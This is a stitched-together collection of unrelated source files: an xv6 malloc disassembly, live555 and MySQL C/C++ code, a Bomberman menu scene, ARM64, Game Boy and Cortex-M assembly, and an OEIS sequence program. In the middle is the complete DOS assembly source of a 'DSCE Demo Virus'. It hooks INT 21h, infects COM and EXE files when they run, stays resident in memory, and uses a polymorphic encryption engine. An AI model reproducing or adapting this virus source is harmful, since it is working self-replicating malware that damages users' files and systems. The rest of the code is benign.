89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 591: 8b 10 mov (%eax),%edx 593: 8b 12 mov (%edx),%edx 595: 89 53 f8 mov %edx,-0x8(%ebx) 598: eb db jmp 575 <free+0x3e> p->s.size += bp->s.size; 59a: 03 53 fc add -0x4(%ebx),%edx 59d: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 5a0: 8b 53 f8 mov -0x8(%ebx),%edx 5a3: 89 10 mov %edx,(%eax) 5a5: eb da jmp 581 <free+0x4a> 000005a7 <morecore>: static Header* morecore(uint nu) { 5a7: 55 push %ebp 5a8: 89 e5 mov %esp,%ebp 5aa: 53 push %ebx 5ab: 83 ec 04 sub $0x4,%esp 5ae: 89 c3 mov %eax,%ebx char *p; Header *hp; if(nu < 4096) 5b0: 3d ff 0f 00 00 cmp $0xfff,%eax 5b5: 77 05 ja 5bc <morecore+0x15> nu = 4096; 5b7: bb 00 10 00 00 mov $0x1000,%ebx p = sbrk(nu * sizeof(Header)); 5bc: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax 5c3: 83 ec 0c sub $0xc,%esp 5c6: 50 push %eax 5c7: e8 20 fd ff ff call 2ec <sbrk> if(p == (char*)-1) 5cc: 83 c4 10 add $0x10,%esp 5cf: 83 f8 ff cmp $0xffffffff,%eax 5d2: 74 1c je 5f0 <morecore+0x49> return 0; hp = (Header*)p; hp->s.size = nu; 5d4: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 5d7: 83 c0 08 add $0x8,%eax 5da: 83 ec 0c sub $0xc,%esp 5dd: 50 push %eax 5de: e8 54 ff ff ff call 537 <free> return freep; 5e3: a1 b0 09 00 00 mov 0x9b0,%eax 5e8: 83 c4 10 add $0x10,%esp } 5eb: 8b 5d fc mov -0x4(%ebp),%ebx 5ee: c9 leave 5ef: c3 ret return 0; 5f0: b8 00 00 00 00 mov $0x0,%eax 5f5: eb f4 jmp 5eb <morecore+0x44> 000005f7 <malloc>: void* malloc(uint nbytes) { 5f7: 55 push %ebp 5f8: 89 e5 mov %esp,%ebp 5fa: 53 push %ebx 5fb: 83 ec 04 sub $0x4,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 5fe: 8b 45 08 mov 0x8(%ebp),%eax 601: 8d 58 07 lea 0x7(%eax),%ebx 604: c1 eb 03 shr $0x3,%ebx 607: 83 c3 01 add $0x1,%ebx if((prevp = freep) == 0){ 60a: 8b 0d b0 09 00 00 mov 0x9b0,%ecx 610: 85 c9 test %ecx,%ecx 612: 74 04 je 618 <malloc+0x21> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 614: 8b 01 mov (%ecx),%eax 616: eb 4d jmp 665 <malloc+0x6e> base.s.ptr = freep = prevp = &base; 618: c7 05 b0 09 00 00 b4 movl $0x9b4,0x9b0 61f: 09 00 00 622: c7 05 b4 09 00 00 b4 movl $0x9b4,0x9b4 629: 09 00 00 base.s.size = 0; 62c: c7 05 b8 09 00 00 00 movl $0x0,0x9b8 633: 00 00 00 base.s.ptr = freep = prevp = &base; 636: b9 b4 09 00 00 mov $0x9b4,%ecx 63b: eb d7 jmp 614 <malloc+0x1d> if(p->s.size >= nunits){ if(p->s.size == nunits) 63d: 39 da cmp %ebx,%edx 63f: 74 1a je 65b <malloc+0x64> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 641: 29 da sub %ebx,%edx 643: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 646: 8d 04 d0 lea (%eax,%edx,8),%eax p->s.size = nunits; 649: 89 58 04 mov %ebx,0x4(%eax) } freep = prevp; 64c: 89 0d b0 09 00 00 mov %ecx,0x9b0 return (void*)(p + 1); 652: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 655: 83 c4 04 add $0x4,%esp 658: 5b pop %ebx 659: 5d pop %ebp 65a: c3 ret prevp->s.ptr = p->s.ptr; 65b: 8b 10 mov (%eax),%edx 65d: 89 11 mov %edx,(%ecx) 65f: eb eb jmp 64c <malloc+0x55> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 661: 89 c1 mov %eax,%ecx 663: 8b 00 mov (%eax),%eax if(p->s.size >= nunits){ 665: 8b 50 04 mov 0x4(%eax),%edx 668: 39 da cmp %ebx,%edx 66a: 73 d1 jae 63d <malloc+0x46> if(p == freep) 66c: 39 05 b0 09 00 00 cmp %eax,0x9b0 672: 75 ed jne 661 <malloc+0x6a> if((p = morecore(nunits)) == 0) 674: 89 d8 mov %ebx,%eax 676: e8 2c ff ff ff call 5a7 <morecore> 67b: 85 c0 test %eax,%eax 67d: 75 e2 jne 661 <malloc+0x6a> return 0; 67f: b8 00 00 00 00 mov $0x0,%eax 684: eb cf jmp 655 <malloc+0x5e>
/********** This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. (See <http://www.gnu.org/copyleft/lesser.html>.) This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA **********/ // Copyright (c) 1996-2015 Live Networks, Inc. All rights reserved. // Basic Usage Environment: for a simple, non-scripted, console application // Implementation #include "mythUseageEnvironment.hh" #include <stdio.h> ////////// BasicUsageEnvironment ////////// #if defined(__WIN32__) || defined(_WIN32) extern "C" int initializeWinsockIfNecessary(); #endif mythUseageEnvironment::mythUseageEnvironment(TaskScheduler& taskScheduler) : BasicUsageEnvironment0(taskScheduler) { #if defined(__WIN32__) || defined(_WIN32) if (!initializeWinsockIfNecessary()) { setResultErrMsg("Failed to initialize 'winsock': "); reportBackgroundError(); internalError(); } #endif } mythUseageEnvironment::~mythUseageEnvironment() { } mythUseageEnvironment* mythUseageEnvironment::createNew(TaskScheduler& taskScheduler) { return new mythUseageEnvironment(taskScheduler); } int mythUseageEnvironment::getErrno() const { #if defined(__WIN32__) || defined(_WIN32) || defined(_WIN32_WCE) return WSAGetLastError(); #else return errno; #endif } UsageEnvironment& mythUseageEnvironment::operator<<(char const* str) { #ifdef _DEBUG if (str == NULL) str = "(NULL)"; // sanity check fprintf(stderr, "%s", str); #endif return *this; } UsageEnvironment& mythUseageEnvironment::operator<<(int i) { #ifdef _DEBUG fprintf(stderr, "%d", i); #endif return *this; } UsageEnvironment& mythUseageEnvironment::operator<<(unsigned u) { #ifdef _DEBUG fprintf(stderr, "%u", u); #endif return *this; } UsageEnvironment& mythUseageEnvironment::operator<<(double d) { #ifdef _DEBUG fprintf(stderr, "%f", d); #endif return *this; } UsageEnvironment& mythUseageEnvironment::operator<<(void* p) { #ifdef _DEBUG fprintf(stderr, "%p", p); #endif return *this; }
#include <memory> #include <Wal.hpp> #include "Runner.hpp" #include <map> #include "Component/Music/MusicComponent.hpp" #include "Component/Sound/SoundComponent.hpp" #include "Component/Controllable/ControllableComponent.hpp" #include "Component/Position/PositionComponent.hpp" #include "Component/Keyboard/KeyboardComponent.hpp" #include "Component/Renderer/Drawable2DComponent.hpp" #include "Component/Button/ButtonComponent.hpp" #include "Drawables/2D/Text.hpp" namespace RAY2D = RAY::Drawables::Drawables2D; namespace BBM { std::shared_ptr<WAL::Scene> Runner::loadHowToPlayScene() { auto scene = std::make_shared<WAL::Scene>(); static const std::map<SoundComponent::SoundIndex, std::string> sounds = { {SoundComponent::BOMB, "assets/sounds/click.ogg"} }; addMenuControl(*scene, sounds); scene->addEntity("Control entity") .addComponent<MusicComponent>("assets/musics/music_player_select.ogg") .addComponent<SoundComponent>(sounds); scene->addEntity("background") .addComponent<PositionComponent>() .addComponent<Drawable2DComponent, RAY::Texture>("assets/backgrounds/menu.png"); scene->addEntity("white background") .addComponent<PositionComponent>(200, 100, 0) .addComponent<Drawable2DComponent, RAY2D::Rectangle>(Vector2f(), Vector2f(1525, 600), RAY::Color(WHITE).setA(150)); scene->addEntity("scene title text") .addComponent<PositionComponent>(1920 / 3, 100, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("How To Play?", 120, RAY::Vector2(), ORANGE); scene->addEntity("select text") .addComponent<PositionComponent>(1920 / 8, 1080 / 3, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Select/Drop Bomb:", 60, RAY::Vector2(), ORANGE); scene->addEntity("select") .addComponent<PositionComponent>(1920 / 7, 1080 / 2.5, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Space/Left CTRL/A Button", 35, RAY::Vector2(), BLACK); scene->addEntity("change skin text") .addComponent<PositionComponent>(1920 / 8, 1080 / 2, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Change Skin:", 60, RAY::Vector2(), ORANGE); scene->addEntity("change skin") .addComponent<PositionComponent>(1920 / 7, 1080 / 1.75, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Left ctrl/Right shift/B Button", 35, RAY::Vector2(), BLACK); scene->addEntity("move text") .addComponent<PositionComponent>(1920 / 1.75, 1080 / 3, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Move:", 60, RAY::Vector2(), ORANGE); scene->addEntity("move") .addComponent<PositionComponent>(1920 / 1.75, 1080 / 2.5, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Q-Z-S-D/Arrow/Joystick", 35, RAY::Vector2(), BLACK); scene->addEntity("back text") .addComponent<PositionComponent>(1920 / 1.75, 1080 / 2, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Back/Pause:", 60, RAY::Vector2(), ORANGE); scene->addEntity("back") .addComponent<PositionComponent>(1920 / 1.75, 1080 / 1.75, 0) .addComponent<Drawable2DComponent, RAY2D::Text>("Esc/Backspace/Controller's Home button:", 35, RAY::Vector2(), BLACK); scene->addEntity("back to menu") .addComponent<PositionComponent>(10, 1080 - 85, 0) .addComponent<Drawable2DComponent, RAY::Texture>("assets/buttons/button_back.png") .addComponent<OnClickComponent>([](WAL::Entity &entity, WAL::Wal &) { gameState.nextScene = BBM::GameState::SceneID::LobbyScene; }) .addComponent<OnIdleComponent>([](WAL::Entity &entity, WAL::Wal &) { RAY::Texture *texture = dynamic_cast<RAY::Texture *>(entity.getComponent<Drawable2DComponent>().drawable.get()); texture->use("assets/buttons/button_back.png"); }) .addComponent<OnHoverComponent>([](WAL::Entity &entity, WAL::Wal &) { RAY::Texture *texture = dynamic_cast<RAY::Texture *>(entity.getComponent<Drawable2DComponent>().drawable.get()); texture->use("assets/buttons/button_back_hovered.png"); }); return scene; } }
;------------------------------------------------------------------------------ ; ; Copyright (c) 2009-2013, ARM Ltd. All rights reserved. ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;------------------------------------------------------------------------------ EXPORT SetJump EXPORT InternalLongJump ; MS_CHANGE: change area name to |.text| and add an ALIGN directive AREA |.text|, ALIGN=3, CODE, READONLY ;/** ; Saves the current CPU context that can be restored with a call to LongJump() and returns 0.# ; ; Saves the current CPU context in the buffer specified by JumpBuffer and returns 0. The initial ; call to SetJump() must always return 0. Subsequent calls to LongJump() cause a non-zero ; value to be returned by SetJump(). ; ; If JumpBuffer is NULL, then ASSERT(). ; For IPF CPUs, if JumpBuffer is not aligned on a 16-byte boundary, then ASSERT(). ; ; @param JumpBuffer A pointer to CPU context buffer. ; ;**/ ; ;UINTN ;EFIAPI ;SetJump ( ; IN BASE_LIBRARY_JUMP_BUFFER *JumpBuffer // X0 ; ); ; ; MS_CHANGE: do not use the pre-processor macro as it doesn't work with VS ARM Assembler SetJump mov x16, sp // use IP0 so save SP stp x19, x20, [x0, #0] stp x21, x22, [x0, #16] stp x23, x24, [x0, #32] stp x25, x26, [x0, #48] stp x27, x28, [x0, #64] stp x29, x30, [x0, #80] str x16, [x0, #96] stp d8, d9, [x0, #112] stp d10, d11, [x0, #128] stp d12, d13, [x0, #144] stp d14, d15, [x0, #160] mov w0, #0 ret ;/** ; Restores the CPU context that was saved with SetJump().# ; ; Restores the CPU context from the buffer specified by JumpBuffer. ; This function never returns to the caller. ; Instead is resumes execution based on the state of JumpBuffer. ; ; @param JumpBuffer A pointer to CPU context buffer. ; @param Value The value to return when the SetJump() context is restored. ; ;**/ ;VOID ;EFIAPI ;InternalLongJump ( ; IN BASE_LIBRARY_JUMP_BUFFER *JumpBuffer, // X0 ; IN UINTN Value // X1 ; ); ; ; MS_CHANGE: do not use the pre-processor macro as it doesn't work with VS ARM Assembler InternalLongJump ldp x19, x20, [x0, #0] ldp x21, x22, [x0, #16] ldp x23, x24, [x0, #32] ldp x25, x26, [x0, #48] ldp x27, x28, [x0, #64] ldp x29, x30, [x0, #80] ldr x16, [x0, #96] ldp d8, d9, [x0, #112] ldp d10, d11, [x0, #128] ldp d12, d13, [x0, #144] ldp d14, d15, [x0, #160] mov sp, x16 cmp w1, #0 mov w0, #1 beq exit mov w0, w1 exit // use br not ret, as ret is guaranteed to mispredict br x30 ASM_FUNCTION_REMOVE_IF_UNREFERENCED END
; A287350: Number of independent vertex sets and vertex covers in the n-gear graph. ; Submitted by Jon Maiga ; 5,11,26,63,155,386,971,2463,6290,16151,41651,107778,279635,727031,1893266,4936383,12883115,33647426,87928091,229874703,601171730,1572591911,4114506851,10766734338,28177307555,73748411111,193034371346,505287594063,1322694193115,3462526549826,9064348585451,23729445464703,62121840325010,162631780543031,425764911369491,1114645773696258,2918138049980915,7639699656769751,20000823481374866,52362495909447903,137086114491154955,358894748052389186,939595930642757051,2459888645829370863 mov $1,2 mov $2,5 mov $3,1 lpb $0 sub $0,1 add $1,$2 sub $1,$3 add $2,$1 mul $3,2 lpe mov $0,$2
; A DEMO VIRUS FOR DSCE BY [PF] .286 DEMO SEGMENT ASSUME CS:DEMO,DS:DEMO ORG 0000 VIR_LEN EQU OFFSET DSCE_END EXTRN DSCE:NEAR,DSCE_END:NEAR START: CALL BEG BEG PROC BEG ENDP CLD MOV AH,62H INT 21H MOV ES,BX POP AX SUB AX,3 SHR AX,4 MOV DX,CS ADD AX,DX PUSH AX PUSH OFFSET CHK_MEMVIR RETF CHK_MEMVIR: PUSH CS POP DS MOV AX,4BDDH INT 21H CMP AX,0DD4BH JZ RUN_OLD MOV PSP_1,ES MOV PSP_2,ES MOV PSP_3,ES MOV BX,VIR_LEN MOV WORD PTR [BX],0A4F3H MOV BYTE PTR [BX+2],0CBH XOR DI,DI MOV SI,DI MOV AX,ES ADD AX,10H MOV ES,AX MOV CX,VIR_LEN PUSH ES MOV AX,OFFSET CON PUSH AX CLD JMP BX RUN_OLD: PUSH ES POP DS CMP CS:FILE_MODE,0 JNZ RUN_EXE MOV AX,CS:COM_HEAD1 MOV DS:[0100H],AX MOV AH,CS:COM_HEAD2 MOV DS:[0102H],AH MOV AX,0100H MOV SP,0FFFEH PUSH DS PUSH AX RETF RUN_EXE: MOV AX,ES ADD AX,10H ADD CS:EXE_SS,AX ADD CS:EXE_CS,AX CLI MOV SS,CS:EXE_SS MOV SP,CS:EXE_SP STI JMP DWORD PTR CS:EXE_IP RUN_OLD_M2: MOV AX,CS MOV BX,VIR_LEN ADD BX,200H CLI MOV SS,AX MOV SP,BX STI MOV AH,4AH MOV BX,VIR_LEN ADD BX,BX SHR BX,4 ADD BX,200H MOV ES,PSP_1 INT 21H MOV ES,ES:[2CH] XOR DI,DI XOR AX,AX MOV CX,0FFFFH GET_NAME: REPNZ SCASB CMP AL,ES:[DI] LOOPNZ GET_NAME ADD DI,3 MOV RUN_DX,DI MOV RUN_DS,ES PUSH CS POP ES MOV AX,4B00H MOV BX,OFFSET PCB LDS DX,DWORD PTR CS:RUN_DX INT 21H MOV AH,4DH INT 21H MOV AH,31H MOV DX,VIR_LEN ADD DX,DX SHR DX,4 ADD DX,0F0H INT 21H CON: PUSH CS POP DS MOV AX,3521H INT 21H MOV INT21_IP,BX MOV INT21_CS,ES MOV DX,OFFSET INT21 MOV AX,2521H INT 21H JMP RUN_OLD_M2 INT21_IP DW ? INT21_CS DW ? INT24_IP DW ? INT24_CS DW ? RUN_DX DW ? RUN_DS DW ? COM_HEAD1 DW 20CDH COM_HEAD2 DB ? EXE_HEAD DW ? EXE_02H DW ? EXE_04H DW ? DW ? EXE_08H DW ? DW 2 DUP(?) EXE_SS DW ? EXE_SP DW ? DW ? EXE_IP DW ? EXE_CS DW ? NEW_SIZE_L DW ? NEW_SIZE_H DW ? PCB DW 0 DW 80H PSP_1 DW ? DW 5CH PSP_2 DW ? DW 6CH PSP_3 DW ? PATH_DX DW ? PATH_DS DW ? DATE_CX DW ? DATE_DX DW ? FILE_MODE DB 0 FILE_ATR DW ? FILE_LEN DW ? POP_BUFFER DW ? VIR_BUFFER DB 20H DUP (?) SP_BUF DW ? SS_BUF DW ? VIR_MSG DB "This is a DSCE's Demo Virus written by [P.F]" INT21: PUSHF CLD CALL INF_PUSH CMP AX,4BDDH JNZ I21_CON CALL INF_POP MOV AX,0DD4BH POPF IRET I21_CON: CMP AX,4B00H JZ I21_RUN I21_END: CALL INF_POP POPF JMP DWORD PTR CS:INT21_IP I21_CLOSE: MOV AH,3EH INT 21H JMP I21_END I21_RUN: MOV CS:PATH_DS,DS MOV CS:PATH_DX,DX MOV AX,3D00H INT 21H I21_END_L1: JC I21_END XCHG AX,BX PUSH CS POP DS MOV AX,5700H INT 21H CMP DX,0C800H JA I21_CLOSE MOV DATE_CX,CX MOV DATE_DX,DX MOV AH,3FH MOV CX,3 MOV DX,OFFSET COM_HEAD1 INT 21H CMP AX,CX JNZ I21_CLOSE CMP COM_HEAD1,4D5AH JZ SET_MODE CMP COM_HEAD1,5A4DH JNZ SET_M_COM SET_MODE: MOV FILE_MODE,1 MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H MOV AH,3FH MOV CX,18H MOV DX,OFFSET EXE_HEAD INT 21H JMP SHORT I21_OPEN SET_M_COM: MOV FILE_MODE,0 MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H OR DX,DX JNZ I21_CLOSE CMP AX,0C000H JA I21_CLOSE MOV FILE_LEN,AX I21_OPEN: MOV AH,3EH INT 21H PUSH PATH_DX PUSH PATH_DS POP DS POP DX MOV AX,4300H INT 21H JC I21_END_L1 MOV CS:FILE_ATR,CX MOV AX,4301H XOR CX,CX INT 21H MOV AX,3D02H INT 21H JC I21_END_L2 XCHG AX,BX PUSH CS POP DS PUSH BX MOV AX,3524H INT 21H MOV INT24_IP,BX MOV INT24_CS,ES MOV AX,2524H MOV DX,OFFSET INT24 INT 21H POP BX CALL WRITE MOV AH,3EH INT 21H MOV AX,2524H PUSH INT24_IP PUSH INT24_CS POP DS POP DX INT 21H PUSH CS:PATH_DX PUSH CS:PATH_DS POP DS POP DX MOV AX,4301H MOV CX,CS:FILE_ATR INT 21H I21_END_L2: JMP I21_END INT24: XOR AL,AL IRET WRITE PROC MOV SP_BUF,SP MOV SS_BUF,SS MOV AX,VIR_LEN + 5DCH MOV DX,CS CLI MOV SS,DX MOV SP,AX STI CMP FILE_MODE,0 JZ WRITE_COM JMP SHORT WRITE_EXE WRITE_COM: MOV SI,OFFSET VIR_BUFFER MOV BYTE PTR [SI],0E9H MOV AX,FILE_LEN PUSH AX SUB AX,3 MOV [SI+1],AX MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H MOV AH,40H MOV DX,SI MOV CX,3 INT 21H MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H MOV AX,VIR_LEN + 600H MOV DX,CS SHR AX,4 INC AX ADD AX,DX MOV ES,AX MOV DX,OFFSET START MOV CX,VIR_LEN POP BP ADD BP,0100H PUSH BX MOV BL,10B CALL DSCE POP BX MOV AH,40H INT 21H PUSH CS POP DS SET_DATE: MOV AX,5701H MOV CX,DATE_CX MOV DX,DATE_DX ADD DX,0C800H INT 21H MOV AX,SP_BUF MOV DX,SS_BUF CLI MOV SS,DX MOV SP,AX STI RET WRITE_EXE: PUSH CS POP ES MOV SI,OFFSET EXE_HEAD MOV DI,OFFSET VIR_BUFFER MOV CX,18H REP MOVSB MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ADD AX,0FH ADC DX,0 AND AX,0FFF0H MOV NEW_SIZE_L,AX MOV NEW_SIZE_H,DX MOV CX,10H DIV CX MOV DI,OFFSET VIR_BUFFER SUB AX,[DI+8] MOV [DI+16H],AX MOV [DI+0EH],AX MOV WORD PTR [DI+14H],0 MOV [DI+10H],0FFFEH MOV AX,4200H MOV DX,NEW_SIZE_L MOV CX,NEW_SIZE_H INT 21H MOV AX,VIR_LEN + 600H MOV DX,CS SHR AX,4 INC AX ADD AX,DX MOV ES,AX MOV DX,OFFSET START MOV CX,VIR_LEN MOV BP,0 PUSH BX MOV BL,11B CALL DSCE POP BX MOV AH,40H INT 21H PUSH CS POP DS MOV AX,NEW_SIZE_L MOV DX,NEW_SIZE_H ADD AX,CX ADC DX,0 MOV CX,200H MOV DI,OFFSET VIR_BUFFER DIV CX OR DX,DX JZ GET_NEW INC AX GET_NEW: MOV [DI+4],AX MOV [DI+2],DX MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H MOV AH,40H MOV CX,18H MOV DX,DI INT 21H JMP SET_DATE WRITE ENDP INF_PUSH PROC POP CS:POP_BUFFER PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH BP PUSH DS PUSH ES JMP CS:POP_BUFFER INF_PUSH ENDP INF_POP PROC POP CS:POP_BUFFER POP ES POP DS POP BP POP DI POP SI POP DX POP CX POP BX POP AX JMP CS:POP_BUFFER INF_POP ENDP DEMO ENDS END START
INCLUDE "defines.inc" SECTION "Actor Variables", HRAM ; The index of the next available OAM slot hNextAvailableOAMSlot:: DS 1 SECTION "Common Actor Code", ROM0 ; Hide all objects in OAM by zeroing their Y positions HideAllObjects:: ld hl, wShadowOAM HideAllObjectsAtAddress:: ld d, OAM_COUNT HideObjects: ld bc, sizeof_OAM_ATTRS xor a, a .loop ld [hl], a add hl, bc dec d jr nz, .loop ret ; Hide all objects that aren't the player HideAllActors:: ld hl, wShadowOAM + (PLAYER_OBJ_COUNT * sizeof_OAM_ATTRS) ld d, OAM_COUNT - PLAYER_OBJ_COUNT jr HideObjects ; Hide objects starting at hNextAvailableOAMSlot HideUnusedObjects:: ldh a, [hNextAvailableOAMSlot] ld b, a ld a, OAM_COUNT sub a, b ret z ; Nothing to do ld d, a ld a, b ASSERT sizeof_OAM_ATTRS == 4 add a, a add a, a ld l, a ld h, HIGH(wShadowOAM) jr HideObjects ; Find an empty slot in an actor table ; @param hl Pointer to actor data ; @param b Maximum number of actors ; @return cf Set if no empty slot was found, otherwise reset FindEmptyActorSlot:: ; Clear carry (no instructions in the loop affect the carry) and a, a .loop ld a, [hli] ASSERT NO_ACTOR == -1 inc a ret z inc l dec b jr nz, .loop ; No more slots scf ret ; Use an index to active actors and return it in de ; @param a N - the index to active actors ; @param c Maximum number of actors ; @param de Pointer to actor position table ; @return de Pointer to Nth active actor PointDEToNthActiveActor:: inc a ld b, a ld l, a ; Save for comparing ld h, c ; Save for resetting .loop ld a, [de] ; Y position ASSERT NO_ACTOR == -1 inc a ; No actor, skip jr z, .next dec b ret z .next dec c jr nz, .noWrap ; Reached end of table ld a, b cp a, l ; No active actors? jr nz, :+ ; Don't draw anything -> skip return to DrawXXX pop af ret : ; Wrap back to beginning ASSERT LOW(wCookiePosTable) == LOW(wLaserPosTable) ld e, LOW(wCookiePosTable) ld c, h jr .loop .noWrap ASSERT ACTOR_SIZE == 2 inc e inc e jr .loop
@; SVC & PendSV @; Constants @;registers used for SysTick, SVC, and PendSV initializations, drawn from DDI0439 and DDI0403D .equ SCR,0xE000ED10 @;System Control Register .equ CCR,0xE000ED14 @;Configuration and Control Register. .equ SHPR1,0xE000ED18 @;System Handler Priority Register 1 .equ SHPR2,0xE000ED1C @;System Handler Priority Register 2 .equ SHPR3,0xE000ED20 @;System Handler Priority Register 3 .equ SHCSR,0xE000ED24 @;System Handler Control and State Register .equ ICSR,0xE000ED04 @;Interrupt Control and State Register .equ PENDSVSET,28 @; bit location in ICSR to set PendSV interrupt pending .equ PENDSVCLR,27 @; "" clear PendSV "" .equ SysTick_PR,SHPR3+3 @;DDI0403D section B3.2.12 .equ PendSV_PR,SHPR3+2 @; "" .equ SvcHandler_PR,SHPR2+3 @;DDI0403D section B3.2.11
/* Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License, version 2.0, as published by the Free Software Foundation. This program is also distributed with certain software (including but not limited to OpenSSL) that is licensed under separate terms, as designated in a particular file or component or in included license documentation. The authors of MySQL hereby grant you an additional permission to link the program and your derivative works with the separately licensed software that they have included with MySQL. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License, version 2.0, for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* Support rutiner with are using with dbug */ #include <sys/types.h> #include "my_byteorder.h" #include "my_inttypes.h" #include "storage/myisam/myisamdef.h" /* Print a key in user understandable format */ void _mi_print_key(FILE *stream, HA_KEYSEG *keyseg, const uchar *key, uint length) { int flag; short int s_1; long int l_1; float f_1; double d_1; const uchar *end; const uchar *key_end = key + length; (void)fputs("Key: \"", stream); flag = 0; for (; keyseg->type && key < key_end; keyseg++) { if (flag++) (void)putc('-', stream); if (keyseg->flag & HA_NULL_PART) { /* A NULL value is encoded by a 1-byte flag. Zero means NULL. */ if (!*(key++)) { fprintf(stream, "NULL"); continue; } } end = key + keyseg->length; switch (keyseg->type) { case HA_KEYTYPE_BINARY: if (!(keyseg->flag & HA_SPACE_PACK) && keyseg->length == 1) { /* packed binary digit */ (void)fprintf(stream, "%d", (uint)*key++); break; } /* fall through */ case HA_KEYTYPE_TEXT: case HA_KEYTYPE_NUM: if (keyseg->flag & HA_SPACE_PACK) { (void)fprintf(stream, "%.*s", (int)*key, key + 1); key += (int)*key + 1; } else { (void)fprintf(stream, "%.*s", (int)keyseg->length, key); key = end; } break; case HA_KEYTYPE_INT8: (void)fprintf(stream, "%d", (int)static_cast<signed char>(*key)); key = end; break; case HA_KEYTYPE_SHORT_INT: s_1 = mi_sint2korr(key); (void)fprintf(stream, "%d", (int)s_1); key = end; break; case HA_KEYTYPE_USHORT_INT: { ushort u_1; u_1 = mi_uint2korr(key); (void)fprintf(stream, "%u", (uint)u_1); key = end; break; } case HA_KEYTYPE_LONG_INT: l_1 = mi_sint4korr(key); (void)fprintf(stream, "%ld", l_1); key = end; break; case HA_KEYTYPE_ULONG_INT: l_1 = mi_sint4korr(key); (void)fprintf(stream, "%lu", (ulong)l_1); key = end; break; case HA_KEYTYPE_INT24: (void)fprintf(stream, "%ld", (long)mi_sint3korr(key)); key = end; break; case HA_KEYTYPE_UINT24: (void)fprintf(stream, "%lu", (ulong)mi_uint3korr(key)); key = end; break; case HA_KEYTYPE_FLOAT: f_1 = mi_float4get(key); (void)fprintf(stream, "%g", (double)f_1); key = end; break; case HA_KEYTYPE_DOUBLE: d_1 = mi_float8get(key); (void)fprintf(stream, "%g", d_1); key = end; break; case HA_KEYTYPE_LONGLONG: { char buff[21]; llstr(mi_sint8korr(key), buff); (void)fprintf(stream, "%s", buff); key = end; break; } case HA_KEYTYPE_ULONGLONG: { char buff[21]; ullstr(mi_sint8korr(key), buff); (void)fprintf(stream, "%s", buff); key = end; break; } case HA_KEYTYPE_BIT: { uint i; fputs("0x", stream); for (i = 0; i < keyseg->length; i++) fprintf(stream, "%02x", (uint)*key++); key = end; break; } case HA_KEYTYPE_VARTEXT1: /* VARCHAR and TEXT */ case HA_KEYTYPE_VARTEXT2: /* VARCHAR and TEXT */ case HA_KEYTYPE_VARBINARY1: /* VARBINARY and BLOB */ case HA_KEYTYPE_VARBINARY2: /* VARBINARY and BLOB */ { uint tmp_length = get_key_length(&key); /* The following command sometimes gives a warning from valgrind. Not yet sure if the bug is in valgrind, glibc or mysqld */ (void)fprintf(stream, "%.*s", (int)tmp_length, key); key += tmp_length; break; } default: break; /* This never happens */ } } (void)fputs("\"\n", stream); return; } /* print_key */ #ifdef EXTRA_DEBUG /** Check if the named table is in the open list. @param[in] name table path as in MYISAM_SHARE::unique_file_name @param[in] where verbal description of caller @retval true table is in open list @retval false table is not in open list @note This function takes THR_LOCK_myisam. Do not call it when this mutex is locked by this thread already. */ bool check_table_is_closed(const char *name, const char *where) { char filename[FN_REFLEN]; char buf[FN_REFLEN * 2]; LIST *pos; DBUG_TRACE; (void)fn_format(filename, name, "", MI_NAME_IEXT, 4 + 16 + 32); mysql_mutex_lock(&THR_LOCK_myisam); for (pos = myisam_open_list; pos; pos = pos->next) { MI_INFO *info = (MI_INFO *)pos->data; MYISAM_SHARE *share = info->s; if (!strcmp(share->unique_file_name, filename)) { if (share->last_version) { mysql_mutex_unlock(&THR_LOCK_myisam); snprintf(buf, sizeof(buf) - 1, "Table: %s is open on %s", name, where); my_message_local(WARNING_LEVEL, EE_DEBUG_INFO, buf); DBUG_PRINT("warning", ("Table: %s is open on 